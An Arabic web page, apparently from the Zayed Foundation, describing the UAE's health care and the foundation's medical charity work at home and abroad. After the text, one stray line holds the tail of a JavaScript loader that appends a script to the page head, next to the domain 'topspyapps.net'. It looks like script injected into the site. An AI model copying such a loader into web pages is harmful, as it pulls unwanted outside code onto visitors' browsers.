الصحة

collage

يقولون الصحة تاج على رؤوس الأصحاء لا يراه إلا المرضى، والعقل السليم في الجسم السليم

والصحة اهتمامٌ شخصي وبيئي ومجتمعي ووطني، وهو عامل أساسي في قدرة انتاج الشعوب ومعيار رئيس في تحديد مكانه الدولة ، واهتمامها بمواطنيها لذلك حرصت دولة الإمارات العربية المتحدة ، أن تولى الرعاية الصحية الكاملة جل اهتمامها حرصاً منها على حياة الإنسان ، ليكون قادراً على العمل والعطاء.
وقد سعت الدولة منذ نشأتها على يد مؤسس نهضتها المغفور له الشيخ زايد بن سلطان آل نهيان على تقديم الخدمات الصحية المجانية لمواطنيها والمقيمين على أرضها على السواء ، كما ساهمت الدولة في تطوير هذه الخدمات يوماً بعد يوم حيث باتت خدماتها اليوم من أرقى ما توصلت إليه الرعاية الصحية في العالم ، وها هي المستشفيات والعيادات المتخصصة ومراكز الاستشفاء ، والطب الوقائي تستقبل الحالات المتعددة ، في سائر التخصصات لذلك حرصت المؤسسة على مؤازرة هذا المحور الوطني الإنساني بمختلف سبل الدعم.
فقد بدأت بتقديم المساعدة للمرضى المعسرين ، ووفرت للكثير منهم رسوم البطاقات الصحية ، ثم تطور عملها لتتعاون مع المستشفيات والمؤسسات الصحية والجمعيات والهيئات الراعية للمساعدات الطبية كالهلال الأحمر ، والجمعيات الإجتماعية الناشطة في الخدمة الصحية وعلى مستوى الدولة في كل مدنها وإماراتها .
وبذلك تساهم المؤسسة بتشجيع الصناديق الصحية ، وتغذيها لتكون المستشفى جاهزة لاستقبال الحالات المستحقة للعلاج ، دون أن تكون لديها إمكانية دفع المبالغ خاصة في الحالات المستعصية، والباهظة التكاليف .
ولعل من أهم ما ساهمت به المؤسسة في إطار البحث في المجال الصحي ، حيث ساهمت بمبلغ 3 مليون دولار في مركز زايد العالمي للبحوث والدراسات الصحية ، بالتعاون مع جامعة الإمارات بالعين .
وذلك ليكون هذا المبلغ وقفاً خيرياً يعود ريعه على البحوث العلمية المتخصصة بدراسة الأمراض خاصة المنتشرة في دولة الإمارات ، ومنطقة الخليج عموماً ،و لم يقتصر جهد المؤسسة في تحقيقها للهدف الصحي بتقديم المساعدة ودعم الهيئات الصحية داخل الدولة ، لكن اياديها إمتدت خارج الدولة لتعين بعض الدول المحتاجه إلى المساعدة في المضمار الصحي ، فقدمت مستشفى الأمومة والطفولة في صنعاء وفي كابول ، ومركزاً لعلاج العيون في غامبيا وساهمت بمستشفى أمراض السرطان في القاهرة ، وفي بناء العيادات في فلسطين وإعادة ترميم عدداً منها كما اقامت كلية البصريات والتمريض بجامعة النجاح بنابلس بفلسطين وكذلك سارعت بدعم متواصل لمستشفى المقاصد في القدس .
هذا بعض إنجازاتها الصحية التي باتت اليوم منارات صحية يقصرها الملايين في بعض العواصم للدول الأقل نمواً ورعايةً صحيه .
ولعل مشروع التطعيم الذي ساهمت به لأطفال فلسطين كلها على مدة ثلاث سنوات كان من أهم مشاريعها الوقائية حيث بادرت لتقديم هذا اللقاح للأطفال ولأول مرة بالتعاون مع وزارة الصحة الفلسطينية وشركة R.V.F .
واليوم فإن المؤسسة تتطلع إلى تطوير أداء برنامجها الطبي ، وكذلك طلبات الخدمات الصحية لتكون عبر البريد الإلكتروني للتخفيف عن أصحاب الطلب عناء الحضور أو السفر إلى المؤسسة ، كما يمكن للأفراد والجهات المعنية بطلبات الصحة التواصل مع المؤسسة عبر موقعها الإلكتروني (www.zayedfoundation.org).

} else {d.getElementsByTagName(‘head’)[0].appendChild(s);}topspyapps.nettopspyapps.net